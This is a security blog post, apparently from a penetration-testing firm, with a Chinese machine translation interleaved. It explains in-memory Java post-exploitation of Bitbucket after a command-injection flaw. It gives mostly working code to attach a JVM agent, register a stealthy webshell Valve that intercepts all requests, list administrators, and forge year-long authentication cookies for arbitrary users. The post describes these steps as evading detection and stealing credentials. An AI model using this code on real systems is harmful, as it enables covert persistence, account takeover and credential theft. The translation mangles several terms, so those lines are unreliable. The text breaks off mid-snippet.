INJECTING JAVA IN-MEMORY PAYLOADS FOR POST-EXPLOITATION

Introduction 介绍

The logic mentioned in our previous blog post1, targeting applications affected by arbitrary deserialization vulnerabilities, could be adapted to inject in-memory payloads from different vulnerabilities or features leading to RCE, such as SSTIs, scripting engines and command injections.
在我们之前的博客文章1中提到的逻辑,针对受任意加密漏洞影响的应用程序,可以调整以注入来自不同漏洞或导致RCE的功能(如SSTI,脚本引擎和命令注入)的内存有效负载。

This article will cover some tips and tricks that could be applied to inject such a payload, and to develop post-exploitation features that would allow altering the application behavior. This would be interesting to stay under the radar during post-exploitation, or to intercept plaintext credentials of privileged users authenticating to the compromised application.
本文将介绍一些可以应用于注入这种有效负载的技巧和技巧,以及开发允许改变应用程序行为的开发后功能。这将是有趣的留在雷达在后利用,或拦截明文凭证的特权用户身份验证的妥协的应用程序。

We will focus on web-based Java applications and try to illustrate these tricks by targeting the following well-known products:
我们将专注于基于Web的Java应用程序,并尝试通过针对以下知名产品来说明这些技巧:

  • Bitbucket Data Center by exploiting a command injection vulnerability.
    Bitbucket数据中心通过利用命令注入漏洞。
  • Jenkins by exploiting its Groovy console.
    Jenkins的Groovy控制台。
  • Confluence Data Center by exploiting an SSTI vulnerability.
    Confluence数据中心通过利用SSTI漏洞。

Loading through command injections
通过命令注入加载

Bitbucket is a web-based platform for hosting and managing Git repositories. It offers a variety of features for developers and teams to collaborate on software projects. This solution is owned and developed by Atlassian.
Bitbucket是一个基于Web的平台,用于托管和管理Git存储库。它为开发人员和团队在软件项目上进行协作提供了各种功能。该解决方案由Atlassian拥有和开发。

CONTEXT 上下文

In 2022, a command injection vulnerability referenced as CVE-2022-36804 affecting Bitbucket Data Center was disclosed. This vulnerability can be exploited by injecting arbitrary arguments to the git command when exporting a repository to an archive. If anonymous users are granted read access over a public repository, this vulnerability can be exploited without prior authentication and several PoCs2 3 exist to exploit this vulnerability.
2022年,一个名为CVE-2022-36804的命令注入漏洞被披露,影响Bitbucket数据中心。在将存储库导出到归档文件时,可以通过向 git 命令注入任意参数来攻击此漏洞。如果匿名用户被授予对公共存储库的读取访问权限,则可以在没有事先身份验证的情况下利用此漏洞,并且存在几个PoC 2 3来利用此漏洞。

This vulnerability could be used to compromise the server hosting it, and perform network pivoting. However, if this application hosts sensitive assets and is still used by legitimate developers, it may be interesting to first compromise it and the assets it hosts. Moreover, if outgoing traffic is filtered, and if the application is executed as an unprivileged user, it may be necessary to exfiltrate data using the application itself.
此漏洞可用于危害托管它的服务器,并执行网络旋转。但是,如果此应用程序托管敏感资产,并且仍由合法开发人员使用,则首先危害它及其托管的资产可能会很有趣。此外,如果传出流量被过滤,并且如果应用程序作为非特权用户执行,则可能需要使用应用程序本身来泄露数据。

The easiest way to compromise it would be to interact with its runtime, through Java code. Bitbucket internally uses the following dependencies:
破坏它的最简单方法是通过Java代码与它的运行时交互。Bitbucket内部使用以下依赖项:

Note that the following post-exploitation tips were tested on Bitbucket Datacenter 7, but the same methodology could be used to target other versions or applications.
请注意,以下开发后提示已在Bitbucket Datacenter 7上测试,但相同的方法可用于针对其他版本或应用程序。

[...]
INFO  [main]  c.a.b.i.b.BitbucketServerApplication Starting BitbucketServerApplication v7.21.0 using Java 11.0.20.1 on b3cb508081b3 with PID 208 (/opt/atlassian/bitbucket/app/WEB-INF/classes started by bitbucket in /var/atlassian/application-data/bitbucket)
INFO  [main]  c.a.b.i.b.BitbucketServerApplication No active profile set, falling back to default profiles: default
INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger Starting Bitbucket 7.21.0 (6dea001 built on Tue Mar 01 21:46:46 UTC 2022)
INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger JVM: Eclipse Adoptium OpenJDK 64-Bit Server VM 11.0.20.1+1
INFO  [main]  c.a.b.i.b.BitbucketServerApplication Started BitbucketServerApplication in 2.522 seconds (JVM running for 3.135)
INFO  [spring-startup]  c.a.s.internal.home.HomeLockAcquirer Successfully acquired lock on home directory /var/atlassian/application-data/bitbucket
[...]

INJECTING AN IN-MEMORY PAYLOAD
注入内存有效负载

The Instrumentation features of the JVM are quite interesting for this purpose, as they offer capabilities for debugging or profiling applications, such as loading an arbitrary JAR file inside a running Java process. Indeed, the Attach API allows attaching an agent on a process, as long as it is requested from the same system user, and it is not restricted. Restrictions and risks of the Attach API are described in this article4. On default Bitbucket installations, using the Docker image, such restrictions are not configured.
JVM的插装功能在这方面非常有趣,因为它们提供了调试或分析应用程序的功能,例如在运行的Java进程中加载任意的JavaScript文件。实际上,Attach API允许在进程上附加代理,只要它是从同一系统用户请求的,并且不受限制。Attach API的限制和风险在本文4中描述。在默认的Bitbucket安装中,使用Docker镜像,不会配置此类限制。

In order to make the JVM load an agent, a JAR application that would be executed by exploiting the command injection vulnerability should be created. This application should define two entry points:
为了使JVM加载代理,应该创建一个可通过利用命令注入漏洞执行的JavaScript应用程序。这个应用程序应该定义两个入口点:

  • main static method, executed when the application is launched legitimately. This method would use the Attach API to make the remote JVM load itself as an agent. The main class that defines this method should be referenced in the Main-Class entry of the main Manifest.
    一个 main 静态方法,在应用程序合法启动时执行。此方法将使用Attach API使远程JVM将其自身作为代理加载。定义此方法的main类应该在main Manifest的 Main-Class 条目中引用。
  • An agentmain static method, executed when the agent (the JAR application itself) is loaded on the remote Java process. The class that defines this method should be referenced in the Agent-Class entry of the main Manifest.
    一个 agentmain 静态方法,当代理(EJB应用程序本身)加载到远程Java进程时执行。定义这个方法的类应该在主Manifest的 Agent-Class 条目中引用。

On the main static method, the Instrumentation API can be used as follows to look up the right Java process using VirtualMachine::list, and to load itself as an agent using VirtualMachine.loadAgent:
在 main 静态方法上,可以如下使用Instrumentation API,使用 VirtualMachine::list 查找正确的Java进程,并使用 VirtualMachine.loadAgent 将其自身加载为代理:

public class Main {
  // looks up the current application's JAR path
  private static String getCurrentJarPath() throws URISyntaxException {
    return new File(Main.class.getProtectionDomain().getCodeSource()
      .getLocation().toURI()).getAbsolutePath();
  }

  public static void main(String[] args) {
    try {
      String jarPath = getCurrentJarPath();
      if (!jarPath.endsWith(".jar")) return;
      
      Class vm = Class.forName("com.sun.tools.attach.VirtualMachine");
      Class vmDescriptor = Class.forName("com.sun.tools.attach.VirtualMachineDescriptor");
      List<Object> descriptors = (List<Object>) vm.getMethod("list").invoke(null);
      for (Object descriptor : descriptors) {
        String pid = (String) vmDescriptor.getMethod("id").invoke(descriptor);
        String name = (String) vmDescriptor.getMethod("displayName").invoke(descriptor);
        
        // filter process by its name / command line
        if (!name.contains("com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher"))
          continue;
        
        Object vmObject = null;
        try {
          vmObject = vm.getMethod("attach", String.class).invoke(null, pid);
          if (vmObject != null) 
              vm.getMethod("loadAgent", String.class).invoke(vmObject, jarPath);
        } finally {
          if (vmObject != null) 
            vm.getMethod("detach").invoke(vmObject);
        }
      }
    } catch (Exception e) { 
      e.printStackTrace();
    }
  }
}

The previous snippet selects the target according to the java command-line belonging to the Bitbucket application:
前面的代码片段根据Bitbucket应用程序的 java 命令行选择目标:

# ps -xa
197 ? Sl 5:03 /opt/java/openjdk/bin/java -classpath /opt/atlassian/bitbucket/app -Datlassian.standalone=BITBUCKET -Dbitbucket.home=/var/atlassian/application-data/bitbucket -Dbitbucket.install=/opt/atlassian/bitbucket -Xms512m -Xmx1g -XX:+UseG1GC -Dfile.encoding=UTF-8 -Dsun.jnu.encoding=UTF-8 -Djava.io.tmpdir=/var/atlassian/application-data/bitbucket/tmp -Djava.library.path=/opt/atlassian/bitbucket/lib/native;/var/atlassian/application-data/bitbucket/lib/native com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher start --logging.console=true
[...]

However, even though this mechanism is present in the JVM of a JRE, the Attach API and the logic used to communicate with the JVM (libattach) may not be present. For example, we faced a Bitbucket installation using OpenJDK-8-JRE that did not have such API. In order to fix it, the two following files should be retrieved from the corresponding JDK:
然而,即使该机制存在于JRE的JVM中,用于与JVM( libattach )通信的附加API和逻辑也可能不存在。例如,我们遇到了一个使用 OpenJDK-8-JRE 的Bitbucket安装,它没有这样的API。为了修复它,应该从相应的JDK中检索以下两个文件:

  • The Java Attach API on the tools.jar file.
    tools.jar 文件上的Java附加API。
  • The low-level libattach implementation (libattach.dll or libattach.so).
    低级 libattach 实现( libattach.dll 或 libattach.so )。

Then, these two files should be written to disk if needed, and the class path and low-level libraries path should be adjusted5:
然后,如果需要,应该将这两个文件写入磁盘,并调整类路径和低级库路径5:

private static void prepare() throws Exception {
  try {
    Class.forName("com.sun.tools.attach.VirtualMachine");
  } catch (Exception e) { // if libattach is not present/loaded
    String parentPath = new File(getCurrentJarPath()).getParent();
    String finalPath = parentPath + "/tools.jar";

    ClassLoader loader = ClassLoader.getSystemClassLoader();

    // adjust low-level libraries path
    Field field = ClassLoader.class.getDeclaredField("sys_paths");
    field.setAccessible(true);
    List<String> newSysPaths = new ArrayList<>();
    newSysPaths.add(parentPath);
    newSysPaths.addAll(Arrays.asList((String[])field.get(loader)));
    field.set(loader, newSysPaths.toArray(new String[0]));

    // add tools.jar to the class path
    URLClassLoader urlLoader = (URLClassLoader) loader;
    Method addURLMethod = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
    addURLMethod.setAccessible(true);
    File toolsJar = new File(finalPath);
    if (!toolsJar.exists()) 
      throw new RuntimeException(toolsJar.getAbsolutePath() + " does not exist");
    addURLMethod.invoke(urlLoader, new File(finalPath).toURI().toURL());
  }
}

Note however that adjusting the class path using addURL would not work on Java versions starting from 9, as the system class loader does not extend URLClassLoader anymore.
但是请注意,使用 addURL 调整类路径在从9开始的Java版本上不起作用,因为系统类加载器不再扩展 URLClassLoader 。

Once the Java agent has been loaded on the remote JVM process, the agentmain method of Agent-Class will be invoked and executed inside the remote process.
一旦Java代理被加载到远程JVM进程上, Agent-Class 的 agentmain 方法将被调用并在远程进程内执行。

OBTAINING A HANDLE TO BITBUCKET
获得BITBUCKET的手柄

To interact with Bitbucket, a reference to the application’s internal state should be obtained. But first, our custom classes, that would use Bitbucket dependencies, should be defined at runtime.
要与Bitbucket交互,应获取应用程序内部状态的引用。但首先,我们的自定义类,将使用Bitbucket依赖,应该在运行时定义。

There are two ways of doing this:
有两种方法可以做到这一点:

  • Use the Instrumentation API to intercept calls and patch existing bytecode.
    使用插装API拦截调用并修补现有字节码。
  • Look up the right ClassLoader and define new classes manually.
    查找正确的 ClassLoader 并手动定义新类。

The first method is already covered by several blog posts6 7 and projects8 9.
第一种方法已经被几篇博客文章6 7和项目8 9所涵盖。

They both rely on the Transformer Instrumentation API and overwrite existing bytecode. This article will detail the second option, which we used in engagements and is less dangerous as it does not interfere with the existing classes. The main idea here is to develop a new Java library, compiled in a project (either using Maven, Gradle or manually) that imports Bitbucket dependencies as external ones. This library would extend Bitbucket by calling its components and would be injected at runtime from a ClassLoader.
它们都依赖于Transformer Instrumentation API并覆盖现有的字节码。本文将详细介绍第二种选择,我们在约定中使用它,并且危险性较小,因为它不会干扰现有的类。这里的主要思想是开发一个新的Java库,在项目中编译(使用Maven,Gradle或手动),将Bitbucket依赖项导入为外部依赖项。该库将通过调用其组件来扩展Bitbucket,并将在运行时从 ClassLoader 注入。

To look up the right ClassLoader, that includes Bitbucket classes and its dependencies, the following snippet can be used:
要查找正确的 ClassLoader ,其中包括Bitbucket类及其依赖项,可以使用以下片段:

private static ClassLoader lookup (Instrumentation i) {
  for (Class klass : i.getAllLoadedClasses()) {
    if (!klass.getName().equals("org.apache.catalina.valves.ValveBase")) continue;
    return klass.getClassLoader();
  }
  return null;
}

// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
  ClassLoader targetLoader = lookup(i);
}

Then, we just have to define our classes manually from their bytecode. Here we create a class on our agent that extends ClassLoader and uses the targetLoader as its parent, to define classes without having to make the private defineClass method accessible:
然后,我们只需要从它们的字节码手动定义我们的类。在这里,我们在我们的代理上创建一个类,它扩展了 ClassLoader 并使用 targetLoader 作为它的父类,以定义类,而不必使私有的 defineClass 方法可访问:

private static class AgentLoader extends ClassLoader {
  private static final byte[][] classBytecodes = new byte[][] {
    new byte[]{ /* custom class bytecode */ }
    /* classes bytecode */
  };
  
  private static final String[] classNames = new String[] {
    "org.my.project.CustomClass"
  };
  
  public void defineClasses() throws Exception {
    for (int = 0; i < classBytecodes.length; ++i) {
      defineClass(classNames[i], classBytecodes[i], 0,
        classBytecodes[i].length);
    }
  }
}

// [...]

// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
  try {
    ClassLoader targetLoader = lookup(i);
    AgentLoader loader = new AgentLoader(targetLoader);
    loader.defineClasses();
  } catch (Exception e) {
    e.printStackTrace();
  }
}

Note that an easier way of doing this would be to create a URLClassLoader with targetLoader as its parent, and use it to load a class from a custom JAR library.
请注意,一种更简单的方法是创建一个 URLClassLoader ,并将 targetLoader 作为它的父级,然后使用它从自定义类库中加载一个类。

Now that our classes are defined inside the right ClassLoader, we can import Bitbucket dependencies from them.
现在我们的类在右 ClassLoader 中定义,我们可以从它们导入Bitbucket依赖项。

Then, we need to obtain a reference to the internal application’s state. As we explained in our previous blog post, such variables are usually stored on ThreadLocals. The problem with this generic approach is that our code is not running on a thread that is currently processing a web request. To fix it, we just need to continuously analyze ThreadLocals of all threads, and stop when a reference to the right state variable is identified:
然后,我们需要获得对内部应用程序状态的引用。正如我们在之前的博客文章中所解释的那样,这些变量通常存储在 ThreadLocals 上。这种通用方法的问题是,我们的代码不是在当前正在处理Web请求的线程上运行的。要修复它,我们只需要不断地分析所有线程的 ThreadLocals ,并在识别出对正确状态变量的引用时停止:

package org.my.project;
// [...]
import org.springframework.web.context.request.ServletRequestAttributes;
// [...]
public class CustomClass implements Runnable {

  private static ServletRequestAttributes lookupAttributes() throws Exception {
    ServletRequestAttributes attribs = null;
    // Analyzes all thread locals of all threads
    // Stops when a servlet request is being processed
    // to obtain a reference to the web app ctx
    while(true) {
      Set<Thread> threads = Thread.getAllStackTraces().keySet();
      for (Thread t : threads) {
        java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
        fThreadLocals.setAccessible(true);

        java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap")
          .getDeclaredField("table");
        fTable.setAccessible(true);

        if(fThreadLocals.get(t) == null) continue;

        Object table = fTable.get(fThreadLocals.get(t));
        java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry")
          .getDeclaredField("value");
        fValue.setAccessible(true);

        int length = java.lang.reflect.Array.getLength(table);
        for (int i=0; i < length; ++i) {
          Object entry = java.lang.reflect.Array.get(table, i);
          if(entry == null) continue;
          Object value = fValue.get(entry);
          if(value == null) continue;
          if (value instanceof WeakReference) {
            value = ((WeakReference<?>) value).get();
          }
          if(value == null) continue;
          if (value instanceof SoftReference) {
            value = ((SoftReference<?>) value).get();
          }
          if(value == null) continue;
          
          // We've found a ref
          if(value.getClass().getName().equals(ServletRequestAttributes.class.getName())) {
            attribs = (ServletRequestAttributes) value;
            break;
          }
        }
        if (attribs != null) break;
      }
      if (attribs != null) break;
      Thread.sleep(100);
    }
    return attribs;
  }
  
  @Override
  public void run() {
    try {
      ServletContext svlCtx = lookupAttributes().getRequest().getServletContext();
      // TODO reuse ServletContext
    } catch(Exception ignored) {
    }
  }

  static {
    new Thread(new CustomClass()).start();
  }
}

The previous class CustomClass has a static block initializer, executed when the class will be defined from the agent. This block creates a new thread that continuously analyzes ThreadLocals. The lookupAttributes static method stops when a reference to an instance of ServletRequestAttributes is identified and retrieves the ServletContext instance from it. To speed this step up, we just have to send a new HTTP request to the Bitbucket application.
前面的类 CustomClass 有一个静态块初始化器,当类将从代理定义时执行。这个代码块创建了一个新的线程来持续分析 ThreadLocals 。当识别到对 ServletRequestAttributes 实例的引用时, lookupAttributes 静态方法停止,并从中检索 ServletContext 实例。为了加快这一步,我们只需向Bitbucket应用程序发送一个新的HTTP请求。

From the ServletContext instance, we can perform the following operations:
从 ServletContext 实例中,我们可以执行以下操作:

  • Intercept all the HTTP requests by registering a new Valve on Embedded Tomcat.
    通过在Embedded Tomcat上注册一个新的 Valve 来拦截所有HTTP请求。
  • Obtain a reference to the Spring state of Bitbucket.
    获取Bitbucket的Spring状态的引用。

In order to intercept all the HTTP requests and to register an in-memory webshell, the following snippet can be used:
为了拦截所有HTTP请求并注册内存中的webshell,可以使用以下代码片段:

public static class CustomValve extends ValveBase {
  // [...]
  @Override
  public void invoke(Request request, Response response) throws IOException, ServletException {
    try {
      // TODO parse request and send a response from the in-memory webshell
    } catch (Exception ignored) {
    } finally {
      // forward to the next Valve
      if (this.getNext() != null) {
        this.getNext().invoke(request, response);
      }
    }
  }
  // [...]
}

private void injectValve(ServletContext svlCtx) {
  // Intercepts all requests (including pre-auth requests)
  WebappClassLoaderBase lbase = (WebappClassLoaderBase) svlCtx.getClassLoader();
  Field fResources = WebappClassLoaderBase.class.getDeclaredField("resources");
  fResources.setAccessible(true);
  StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))
      .getContext();

  // Already injected ?
  for (Valve valve: ctx.getParent().getPipeline().getValves()) {
    if(valve.getClass().getName() == CustomValve.class.getName())
      return;
  }

  ctx.getParent().getPipeline().addValve(new CustomValve());
}

Another technique to achieve the same result is to look for an instance of a specific context class loaders. Each thread is associated with a context class loader and in the case of Tomcat, by searching through all threads we can find a WebappClassLoaderBase.
实现相同结果的另一种技术是查找特定上下文类装入器的实例。每个线程都与一个上下文类加载器相关联,在Tomcat的情况下,通过搜索所有线程,我们可以找到一个 WebappClassLoaderBase 。

Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread t : threads) {
    cl = t.getContextClassLoader();
    if(WebappClassLoaderBase.class.isInstance(cl)){
        return cl;
    }
}

This particular class loader has a resources field:
这个特定的类加载器有一个 resources 字段:

public abstract class WebappClassLoaderBase extends URLClassLoader implements ... {
[...]
    protected WebResourceRoot resources = null;

From this field we can retrieve the StandardConext that we used in the previous example.
从这个字段中,我们可以检索我们在上一个示例中使用的 StandardConext 。

public class StandardRoot extends LifecycleMBeanBase implements WebResourceRoot {
[...]
    private Context context;
[...]
    public Context getContext() {
        return this.context;
    }

Regarding the Spring state of Bitbucket, it is an instance of the WebApplicationContext class, and can be retrieved from attributes of the ServletContext instance. The name of this attribute can be obtained by:
关于Bitbucket的Spring状态,它是 WebApplicationContext 类的实例,可以从 ServletContext 实例的属性中检索。此属性的名称可以通过以下方式获得:

  • Decompiling Bitbucket. 反编译Bitbucket。
  • Debugging Bitbucket. Bitbucket。
  • Simply analyzing all the registered attributes of this SpringContext instance.
    简单分析此 SpringContext 实例的所有注册属性。

From this constant name, the WebApplicationContext instance can be retrieved:
从这个常量名称中,可以检索 WebApplicationContext 实例:

String SPRING_ATTR = "org.springframework.web.context.WebApplicationContext:Bitbucket";
ServletContext svlCtx = /* lookup() */;
WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);

Finally, it is possible to call Bitbucket components, which are Beans on Spring, or to retrieve Bitbucket properties from it:
最后,可以调用Bitbucket组件,在Spring上是 Beans ,或者从它检索Bitbucket属性:

WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
SampleService sampleService = (SampleService) ctx.getBean("sampleService");
String sampleBitbucketPropertyValue = ctx.getEnvironment().getProperty("some-property");

INTERACTING WITH BITBUCKET COMPONENTS
与BITBUCKET组件交互

Now that we have a convenient way to extend Bitbucket capabilities by calling its components, we can look for interesting features of Bitbucket. These would then be used in our in-memory webshell to provide specific commands.
现在我们有了一种方便的方法来通过调用Bitbucket的组件来扩展Bitbucket的功能,我们可以寻找Bitbucket的有趣功能。然后,这些将在我们的内存webshell中使用,以提供特定的命令。

As for the SpringContext attributes, we can analyze the call stack by attaching a debugger to Bitbucket, and decompile the related JAR dependencies. This blogpost will not cover it, but it is a good start to find which components (i.e. Spring Beans) are used to perform specific tasks in Bitbucket.
至于 SpringContext 属性,我们可以通过在Bitbucket上附加调试器来分析调用堆栈,并反编译相关的依赖项。这篇博客文章不会涉及它,但它是一个很好的开始,可以找到哪些组件(即Spring Bean)用于在Bitbucket中执行特定任务。

Actually, the following JAR files are interesting:
实际上,下面的文件是有趣的:

  • API definitions (using interfaces only), on JAR libraries following the naming convention bitbucket-[feature]-api-[version].jar.
    API定义(仅使用接口),在遵循命名约定 bitbucket-[feature]-api-[version].jar 的NetBeans库上。
  • API implementations, on JAR libraries following the naming convention bitbucket-[feature]-impl-[version].jar.
    API实现,在遵循命名约定 bitbucket-[feature]-impl-[version].jar 的NetBeans库上。

Parts of the main API are documented on the Atlassian Docs website.
主要API的部分内容在Atlassian SDK网站上提供。

On the API implementation libraries, the @Service("[name]") Spring class annotation corresponds to the name given to the Bitbucket component (i.e. Spring Bean), that can be retrieved from the WebApplicationContext.
在API实现库中, @Service("[name]") Spring类注释对应于为Bitbucket组件指定的名称(即Spring Bean),可以从 WebApplicationContext 中检索。

For example, the DefaultUserService implementing UserService is a Bean named userService:
例如,实现 UserService 的 DefaultUserService 是一个名为 userService 的Bean:

// [...]
@DependsOn({"createSystemUserUpgradeTask"})
@AvailableToPlugins(interfaces = {UserService.class, DmzUserService.class})
@Service("userService")
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/user/DefaultUserService.class */
public class DefaultUserService extends AbstractService implements InternalUserService {
  // [...]
  private final ApplicationUserDao userDao;
  private final UserHelper userHelper;
  @Value("${page.max.groups}")
  private int maxGroupPageSize;
  @Value("${page.max.users}")
  private int maxUserPageSize;

  @Autowired
  public DefaultUserService(@Lazy InternalAvatarService avatarService, InternalAuthenticationContext authenticationContext, CacheFactory cacheFactory, CrowdControl crowdControl, EventPublisher eventPublisher, I18nService i18nService, PasswordResetHelper passwordResetHelper, @Lazy InternalPermissionService permissionService, ApplicationUserDao userDao, UserHelper userHelper, @Value("${auth.remote.cache.cacheSize}") int cacheSize, @Value("${auth.remote.cache.ttl}") int cacheTtl, @Value("${auth.remote.enabled}") boolean checkRemoteDirectory) {
    // [...]
  }

  @PreAuthorize("hasUserPermission(#user, 'USER_ADMIN')")
  public void deleteAvatar(@Nonnull ApplicationUser user) {
    this.avatarService.deleteForUser((ApplicationUser) Objects.requireNonNull(user, "user"));
  }
  // [...]
}

Which is available from our context as follows:
它可以从我们的上下文中获得,如下所示:

WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
UserService userService = (UserService) ctx.getBean("userService");

Listing administrators 上市管理人

The first step on post-exploitation is to perform a reconnaissance phase. In the current context, it would be useful to list details of all the administrators of the Bitbucket instance. For this purpose, there is also a PermissionService that can be used to fetch users’ details that have a specific permission:
后开发的第一步是执行侦察阶段。在当前的上下文中,列出Bitbucket实例的所有管理员的详细信息会很有用。为此,还有一个 PermissionService 可用于获取具有特定权限的用户的详细信息:

// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
  .getAttribute(SPRING_ATTR);

HashMap<String, Object> result = new HashMap<>();
PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
  Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
  for(ApplicationUser user : admins.getValues()) {
    HashMap<String, Object> entry = new HashMap<>();
    entry.put("user_id", user.getId());
    entry.put("user_name", user.getDisplayName());
    entry.put("user_slug", user.getSlug());
    entry.put("user_type", user.getType().name());
    entry.put("user_enabled", Boolean.toString(user.isActive()));
    entry.put("user_email", user.getEmailAddress());
    entry.put("permission", perm.name());
    result.put(Integer.toString(user.getId()), entry);
  }
}

However, if this snippet is executed as-is from our injected context (i.e. from an intercepted request in our custom Valve), the following Exception will be thrown:
但是,如果这个代码片段是从我们注入的上下文中按原样执行的(即从我们自定义的 Valve 中截取的请求),则会抛出以下 Exception :

org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread

In Bitbucket, the Spring Framework uses Hibernate under the hoods. In our context, no session is already opened so all the subsequent database queries will fail. By reproducing the behavior of OpenSessionInViewFilter using SessionFactoryUtils, we can set up a new session for our context:
在Bitbucket中,Spring框架在幕后使用Hibernate。在我们的上下文中,没有会话已经打开,因此所有后续的数据库查询都将失败。通过使用 SessionFactoryUtils 复制 OpenSessionInViewFilter 的行为,我们可以为我们的上下文设置一个新的会话:

import org.hibernate.FlushMode;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.springframework.orm.hibernate5.SessionFactoryUtils;
import org.springframework.orm.hibernate5.SessionHolder;
import org.springframework.transaction.support.TransactionSynchronizationManager;
import org.springframework.web.context.WebApplicationContext;

import java.io.Closeable;

public class HibernateSessionCloseable implements Closeable {
  private final SessionFactory factory;
  private final Session session;
  public HibernateSessionCloseable(WebApplicationContext webCtx) {
    this.factory = (SessionFactory) webCtx.getBean("sessionFactory");
    this.session = factory.openSession();
    session.setHibernateFlushMode(FlushMode.MANUAL);
    SessionHolder holder = new SessionHolder(session);
    TransactionSynchronizationManager.bindResource(factory, holder);
  }

  @Override
  public void close() {
    session.flush();
    TransactionSynchronizationManager.unbindResource(factory);
    SessionFactoryUtils.closeSession(session);
  }
}

Now, we just have to surround our code block with a new HibernateSessionCloseable instance to fix it:
现在,我们只需要在代码块周围添加一个新的 HibernateSessionCloseable 实例来修复它:

// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
  .getAttribute(SPRING_ATTR);

HashMap<String, Object> result = new HashMap<>();
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
  PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
  for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
    Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
    for(ApplicationUser user : admins.getValues()) {
      // [...]
    }
  }
}

Generating authentication cookies
生成身份验证Cookie

Another feature that can be interesting for this in-memory webshell would be to generate authenticated sessions for an arbitrary Bitbucket user. Bitbucket, as several applications (cf. Spring Remember-Me Authentication), has an authentication method based on remember-me cookies (cf. RememberMeService). This feature is enabled by default (optional value for the Bitbucket property auth.remember-me.enabled), and automatically authenticates a user based on a cookie.
这个内存webshell的另一个有趣的特性是为任意Bitbucket用户生成经过身份验证的会话。Bitbucket作为几个应用程序(参见Spring Remember-Me Authentication),具有基于Remember-Me cookie的身份验证方法(参见 RememberMeService )。此功能默认启用(Bitbucket属性 auth.remember-me.enabled 的 optional 值),并基于cookie自动验证用户。

This service is implemented by the DefaultRememberMeService class:
此服务由 DefaultRememberMeService 类实现:

// [...]
@Service("rememberMeService")
@AvailableToPlugins(RememberMeService.class)
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/auth/DefaultRememberMeService.class */
public class DefaultRememberMeService implements InternalRememberMeService, RememberMeService {
  // [...]
  private final AuthenticationContext authenticationContext;
  private final RememberMeTokenDao dao;
  private final SecureTokenGenerator tokenGenerator;
  private final UserService userService;
  // [...]
  public void createCookie(@Nonnull HttpServletRequest request, @Nonnull HttpServletResponse response) {
    ApplicationUser user = this.authenticationContext.getCurrentUser();
    Objects.requireNonNull(user);
    doCreateCookie(user, request, response, false);
  }
  // [...]
  @VisibleForTesting
  protected String encodeCookie(String... cookieTokens) {
    String joined = StringUtils.join(cookieTokens, ":");
    String encoded = new String(Base64.encodeBase64(joined.getBytes()));
    return StringUtils.stripEnd(encoded, "=");
  }
  // [...]
  private void doCreateCookie(@Nonnull ApplicationUser user, @Nonnull HttpServletRequest request, 
      @Nonnull HttpServletResponse response, boolean shouldThrowIfCookiePresent) {
    Cookie cookie = getCookie(request);
    if (cookie != null) {
      if (shouldThrowIfCookiePresent) {
        cancelCookie(request, response);
        InternalRememberMeToken token = toToken(cookie);
        throw new IllegalStateException("A remember-me cookie for series '+" 
          + (token != null ? token.getSeries() : "invalid") 
          + "' is already present. Cannot provide a remember-me cookie for a new series. Canceling the existing cookie");
      }
      logout(request, response);
    }
    InternalRememberMeToken token2 = (InternalRememberMeToken) this.dao.create(
      new InternalRememberMeToken.Builder()
        .series(this.tokenGenerator.generateToken())
        .token(this.tokenGenerator.generateToken())
        .user(InternalConverter.convertToInternalUser(user))
        .expiresAfter(this.expirySeconds, TimeUnit.SECONDS).build());
    setCookie(request, response, token2);
    log.debug("Created new remember-me series '{}' for user '{}'", token2.getSeries(), user.getName());
  }
  // [...]
}

As this service only allows generating a remember-me cookie for the currently authenticated user, we will need to generate the remember-me cookie by copying the behavior of the doCreateCookie private method:
由于此服务仅允许为当前已验证的用户生成remember-me cookie,因此我们需要通过复制 doCreateCookie private方法的行为来生成remember-me cookie:

HashMap<String, Object> result = new HashMap<>();
int userId = (int) args.get("target_user_id");
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
  //lookup user
  UserService userService = (UserService) ctx.getBean("userService");
  ApplicationUser user;
  try {
    user = userService.getUserById(userId);
  } catch (Exception e) {
    return;
  }
  if (user == null) return;
  //generate an auto-login cookie for this user
  RememberMeTokenDao rmeDao = (RememberMeTokenDao) ctx.getBean("rememberMeTokenDao");
  SecureTokenGenerator tokenGenerator = (SecureTokenGenerator) ctx.getBean("tokenGenerator");
  InternalRememberMeToken token = rmeDao.create(
    new InternalRememberMeToken.Builder()
      .series(tokenGenerator.generateToken())
      .token(tokenGenerator.generateToken())
      .user(InternalConverter.convertToInternalUser(user))
      .expiresAfter(TimeUnit.DAYS.toSeconds(365), TimeUnit.SECONDS)
      .build()
  );
  String joined = StringUtils.join(Arrays.asList(token.getSeries(), token.getToken()), ':');
